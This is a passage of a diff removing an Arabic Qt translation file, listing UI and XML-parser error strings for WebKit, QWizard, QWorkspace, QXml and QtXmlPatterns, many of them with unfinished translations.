- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Scroll left</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Scroll right</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Scroll down</source>
- <translation type="unfinished"></translation>
- </message>
- <message numerus="yes">
- <location filename="../src/3rdparty/webkit/WebCore/platform/qt/FileChooserQt.cpp" line="+45"/>
- <source>%n file(s)</source>
- <comment>number of chosen file</comment>
- <translation type="unfinished">
- <numerusform></numerusform>
- </translation>
- </message>
- <message>
- <location filename="../src/3rdparty/webkit/WebKit/qt/Api/qwebpage.cpp" line="+1322"/>
- <source>JavaScript Alert - %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>JavaScript Confirm - %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>JavaScript Prompt - %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+333"/>
- <source>Move the cursor to the next character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the previous character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the next word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the previous word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the next line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the previous line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the start of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the end of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the start of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the end of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the start of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Move the cursor to the end of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the next character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the previous character</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the next word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the previous word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the next line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the previous line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the start of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the end of the line</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the start of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the end of the block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the start of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Select to the end of the document</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete to the start of the word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Delete to the end of the word</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Insert a new paragraph</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Insert a new line</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWhatsThisAction</name>
- <message>
- <location filename="../src/gui/kernel/qwhatsthis.cpp" line="+522"/>
- <source>What&apos;s This?</source>
- <translation type="unfinished">ما هذا؟</translation>
- </message>
-</context>
-<context>
- <name>QWidget</name>
- <message>
- <location filename="../src/gui/kernel/qwidget.cpp" line="+5326"/>
- <source>*</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QWizard</name>
- <message>
- <location filename="../src/gui/dialogs/qwizard.cpp" line="+637"/>
- <source>&lt; &amp;Back</source>
- <translation type="unfinished">&lt; &amp;رجوع</translation>
- </message>
- <message>
- <location line="+10"/>
- <source>&amp;Finish</source>
- <translation type="unfinished">إ&amp;نهاء</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>&amp;Help</source>
- <translation type="unfinished">&amp;مساعدة</translation>
- </message>
- <message>
- <location line="-14"/>
- <source>Go Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Continue</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Commit</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Done</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Quit</source>
- <translation type="obsolete">إنتهاء</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Help</source>
- <translation type="unfinished">مساعدة</translation>
- </message>
- <message>
- <location line="-2"/>
- <source>Cancel</source>
- <translation type="unfinished">إلغاء</translation>
- </message>
- <message>
- <location line="-6"/>
- <source>&amp;Next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Next &gt;</source>
- <translation type="unfinished">ال&amp;تّالي &gt;</translation>
- </message>
-</context>
-<context>
- <name>QWorkspace</name>
- <message>
- <location filename="../src/gui/widgets/qworkspace.cpp" line="+1094"/>
- <source>&amp;Restore</source>
- <translation type="unfinished">ا&amp;ستعاد</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Move</source>
- <translation type="unfinished">&amp;تحريك</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Size</source>
- <translation type="unfinished">&amp;حجم</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Mi&amp;nimize</source>
- <translation type="unfinished">ت&amp;صغير</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Ma&amp;ximize</source>
- <translation type="unfinished">ت&amp;كبير</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>&amp;Close</source>
- <translation type="unfinished">إ&amp;غلاق</translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Stay on &amp;Top</source>
- <translation type="unfinished">ال&amp;بقاء في الأمام</translation>
- </message>
- <message>
- <location line="+3"/>
- <location line="+1059"/>
- <source>Sh&amp;ade</source>
- <translation type="unfinished">ت&amp;ظليل</translation>
- </message>
- <message>
- <location line="-278"/>
- <location line="+60"/>
- <source>%1 - [%2]</source>
- <translation>%1 - [%2]</translation>
- </message>
- <message>
- <location line="-1837"/>
- <source>Minimize</source>
- <translation type="unfinished">تصغير</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Restore Down</source>
- <translation type="unfinished">استعاد في الأسفل</translation>
- </message>
- <message>
- <location line="-4"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="+2053"/>
- <source>&amp;Unshade</source>
- <translation type="unfinished">إ&amp;لغاء التّظليل</translation>
- </message>
-</context>
-<context>
- <name>QXml</name>
- <message>
- <location filename="../src/xml/sax/qxml.cpp" line="+58"/>
- <source>no error occurred</source>
- <translation>لم يحدث هناك أيّ خطأ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error triggered by consumer</source>
- <translation>أطلق الخطأ من طرف المستهلك</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unexpected end of file</source>
- <translation>نهاية غير متوقّعة للملفّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>more than one document type definition</source>
- <translation>أكثر من تعريف لطراز الوثيقة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing element</source>
- <translation>حدث خطأ عند تحليل تركيب العنصر</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>tag mismatch</source>
- <translation>عدم تطابق العلامة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing content</source>
- <translation>حدث خطأ عند تحليل تركيب المحتوى</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unexpected character</source>
- <translation>رمز غير متوقّع</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>invalid name for processing instruction</source>
- <translation>إسم غير صالح لتعليمة المعالجة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>version expected while reading the XML declaration</source>
- <translation>الإصدار متوقّع عند قراءة إعلان الXML</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>wrong value for standalone declaration</source>
- <translation>قيمة خاطئة لإعلان مستقلّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>encoding declaration or standalone declaration expected while reading the XML declaration</source>
- <translation>إعلان التّرميز أو إعلان مستقلّ متوقّع عند قراءة إعلان الXML</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>standalone declaration expected while reading the XML declaration</source>
- <translation>إعلان مستقلّ متوقّع عند قراءة إعلان الXML</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing document type definition</source>
- <translation>حدث خطأ عند تحليل تركيب تعريف طراز الوثيقة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>letter is expected</source>
- <translation>حرف متوقّع</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing comment</source>
- <translation>حدث خطأ عند تحليل تركيب التّعليق</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error occurred while parsing reference</source>
- <translation>حدث خطأ عند تحليل تركيب المرجع</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>internal general entity reference not allowed in DTD</source>
- <translation>المرجع إلى كيان داخلي عامّ غير مسموح به في الDTD</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>external parsed general entity reference not allowed in attribute value</source>
- <translation>المرجع إلى كيان خارجي عامّ معرب غير مسموح به في قيمة الخاصّية</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>external parsed general entity reference not allowed in DTD</source>
- <translation>المرجع إلى كيان خارجي عامّ معرب غير مسموح به في الDTD</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>unparsed entity reference in wrong context</source>
- <translation>مرجع إلى كيان غير معرب في سياق خاطئ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>recursive entities</source>
- <translation>كيانات معاودة</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>error in the text declaration of an external entity</source>
- <translation>خطأ في التّعريف النّصّي لكيان خارجي</translation>
- </message>
-</context>
-<context>
- <name>QXmlStream</name>
- <message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="+592"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+1769"/>
- <source>Extra content at end of document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+222"/>
- <source>Invalid entity value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+107"/>
- <source>Invalid XML character.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+259"/>
- <source>Sequence &apos;]]&gt;&apos; not allowed in content.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+309"/>
- <source>Namespace prefix &apos;%1&apos; not declared</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+78"/>
- <source>Attribute redefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+115"/>
- <source>Unexpected character &apos;%1&apos; in public id literal.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+28"/>
- <source>Invalid XML version string.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Unsupported XML version.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>%1 is an invalid encoding name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Encoding %1 is unsupported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Standalone accepts only yes or no.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Invalid attribute in XML declaration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Premature end of document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Invalid document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <source>Expected </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>, but got &apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Unexpected &apos;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+210"/>
- <source>Expected character data.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-995"/>
- <source>Recursive entity detected.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+516"/>
- <source>Start tag expected.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+222"/>
- <source>XML declaration not at start of document.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-31"/>
- <source>NDATA in parameter entity declaration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+34"/>
- <source>%1 is an invalid processing instruction name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Invalid processing instruction name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-521"/>
- <location line="+12"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+164"/>
- <location line="+53"/>
- <source>Illegal namespace declaration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+15"/>
- <source>Invalid XML name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>Opening and ending tag mismatch.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Reference to unparsed entity &apos;%1&apos;.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-13"/>
- <location line="+61"/>
- <location line="+40"/>
- <source>Entity &apos;%1&apos; not declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-26"/>
- <source>Reference to external entity &apos;%1&apos; in attribute value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <source>Invalid character reference.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream.cpp" line="-75"/>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="-823"/>
- <source>Encountered incorrectly encoded content.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+274"/>
- <source>The standalone pseudo attribute must appear after the encoding.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/corelib/xml/qxmlstream_p.h" line="+562"/>
- <source>%1 is an invalid PUBLIC identifier.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QtXmlPatterns</name>
- <message>
- <location filename="../src/xmlpatterns/acceltree/qacceltreebuilder.cpp" line="+205"/>
- <source>An %1-attribute with value %2 has already been declared.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>An %1-attribute must have a valid %2 as value, which %3 isn&apos;t.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/api/qiodevicedelegate.cpp" line="+84"/>
- <source>Network timeout.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/api/qxmlserializer.cpp" line="+320"/>
- <source>Element %1 can&apos;t be serialized because it appears outside the document element.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+60"/>
- <source>Attribute %1 can&apos;t be serialized because it appears at the top level.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qabstractdatetime.cpp" line="+80"/>
- <source>Year %1 is invalid because it begins with %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Day %1 is outside the range %2..%3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Month %1 is outside the range %2..%3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Overflow: Can&apos;t represent date %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Day %1 is invalid for month %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+49"/>
- <source>Time 24:%1:%2.%3 is invalid. Hour is 24, but minutes, seconds, and milliseconds are not all 0; </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Time %1:%2:%3.%4 is invalid.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+115"/>
- <source>Overflow: Date can&apos;t be represented.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qabstractduration.cpp" line="+99"/>
- <location line="+15"/>
- <source>At least one component must be present.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-7"/>
- <source>At least one time component must appear after the %1-delimiter.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qabstractfloatmathematician.cpp" line="+64"/>
- <source>No operand in an integer division, %1, can be %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>The first operand in an integer division, %1, cannot be infinity (%2).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>The second operand in a division, %1, cannot be zero (%2).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qanyuri_p.h" line="+132"/>
- <source>%1 is not a valid value of type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qatomiccasters_p.h" line="+223"/>
- <source>When casting to %1 from %2, the source value cannot be %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qatomicmathematicians.cpp" line="+65"/>
- <source>Integer division (%1) by zero (%2) is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Division (%1) by zero (%2) is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Modulus division (%1) by zero (%2) is undefined.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+122"/>
- <location line="+32"/>
- <source>Dividing a value of type %1 by %2 (not-a-number) is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-20"/>
- <source>Dividing a value of type %1 by %2 or %3 (plus or minus zero) is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+32"/>
- <source>Multiplication of a value of type %1 by %2 or %3 (plus or minus infinity) is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qatomicvalue.cpp" line="+79"/>
- <source>A value of type %1 cannot have an Effective Boolean Value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qboolean.cpp" line="+78"/>
- <source>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qderivedinteger_p.h" line="+402"/>
- <source>Value %1 of type %2 exceeds maximum (%3).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Value %1 of type %2 is below minimum (%3).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/data/qhexbinary.cpp" line="+91"/>
- <source>A value of type %1 must contain an even number of digits. The value %2 does not.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>%1 is not valid as a value of type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qarithmeticexpression.cpp" line="+207"/>
- <source>Operator %1 cannot be used on type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Operator %1 cannot be used on atomic values of type %2 and %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qattributenamevalidator.cpp" line="+66"/>
- <source>The namespace URI in the name for a computed attribute cannot be %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>The name for a computed attribute cannot have the namespace URI %1 with the local name %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcastas.cpp" line="+88"/>
- <source>Type error in cast, expected %1, received %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+29"/>
- <source>When casting to %1 or types derived from it, the source value must be of the same type, or it must be a string literal. Type %2 is not allowed.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcastingplatform.cpp" line="+134"/>
- <source>No casting is possible with %1 as the target type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>It is not possible to cast from %1 to %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+27"/>
- <source>Casting to %1 is not possible because it is an abstract type, and can therefore never be instantiated.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+23"/>
- <source>It&apos;s not possible to cast the value %1 of type %2 to %3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Failure when casting from %1 to %2: %3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcommentconstructor.cpp" line="+67"/>
- <source>A comment cannot contain %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>A comment cannot end with a %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qcomparisonplatform.cpp" line="+167"/>
- <source>No comparisons can be done involving the type %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Operator %1 is not available between atomic values of type %2 and %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qdocumentcontentvalidator.cpp" line="+86"/>
- <source>An attribute node cannot be a child of a document node. Therefore, the attribute %1 is out of place.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qexpressionfactory.cpp" line="+169"/>
- <source>A library module cannot be evaluated directly. It must be imported from a main module.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+40"/>
- <source>No template by name %1 exists.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qgenericpredicate.cpp" line="+106"/>
- <source>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+32"/>
- <source>A positional predicate must evaluate to a single numeric value.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qncnameconstructor_p.h" line="+113"/>
- <source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, is %2 invalid.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+24"/>
- <source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qpath.cpp" line="+109"/>
- <source>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qprocessinginstructionconstructor.cpp" line="+84"/>
- <source>The data of a processing instruction cannot contain the string %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor.cpp" line="+82"/>
- <source>No namespace binding exists for the prefix %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/expr/qqnameconstructor_p.h" line="+156"/>
- <source>No namespace binding exists for the prefix %1 in %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <location filename="../src/xmlpatterns/functions/qqnamefns.cpp" line="+69"/>
- <source>%1 is an invalid %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message numerus="yes">
- <location filename="../src/xmlpatterns/functions/qabstractfunctionfactory.cpp" line="+77"/>
- <source>%1 takes at most %n argument(s). %2 is therefore invalid.</source>
- <translation type="unfinished">
- <numerusform></numerusform>
- </translation>
- </message>
- <message numerus="yes">
- <location line="+11"/>
- <source>%1 requires at least %n argument(s). %2 is therefore invalid.</source>
- <translation type="unfinished">
- <numerusform></numerusform>
- </translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qaggregatefns.cpp" line="+120"/>
- <source>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+74"/>
- <source>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+91"/>
- <source>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qassemblestringfns.cpp" line="+88"/>
- <source>%1 is not a valid XML 1.0 character.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qcomparingaggregator.cpp" line="+197"/>
- <source>The first argument to %1 cannot be of type %2.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qdatetimefn.cpp" line="+86"/>
- <source>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qerrorfn.cpp" line="+61"/>
- <source>%1 was called.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qpatternmatchingfns.cpp" line="+94"/>
- <source>%1 must be followed by %2 or %3, not at the end of the replacement string.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+39"/>
- <source>In the replacement string, %1 must be followed by at least one digit when not escaped.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+26"/>
- <source>In the replacement string, %1 can only be used to escape itself or %2, not %3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qpatternplatform.cpp" line="+92"/>
- <source>%1 matches newline characters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1 and %2 match the start and end of a line.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Matches are case insensitive</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Whitespace characters are removed, except when they appear in character classes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+99"/>
- <source>%1 is an invalid regular expression pattern: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+30"/>
- <source>%1 is an invalid flag for regular expressions. Valid flags are:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qqnamefns.cpp" line="+17"/>
- <source>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qsequencefns.cpp" line="+347"/>
- <source>It will not be possible to retrieve %1.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qcontextnodechecker.cpp" line="+54"/>
- <source>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qsequencegeneratingfns.cpp" line="+279"/>
- <source>The default collection is undefined</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>%1 cannot be retrieved</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qstringvaluefns.cpp" line="+252"/>
- <source>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/xmlpatterns/functions/qtimezonefns.cpp" line="+87"/>
- <source>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+12"/>
- <source>%1 is not a whole number of minutes.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
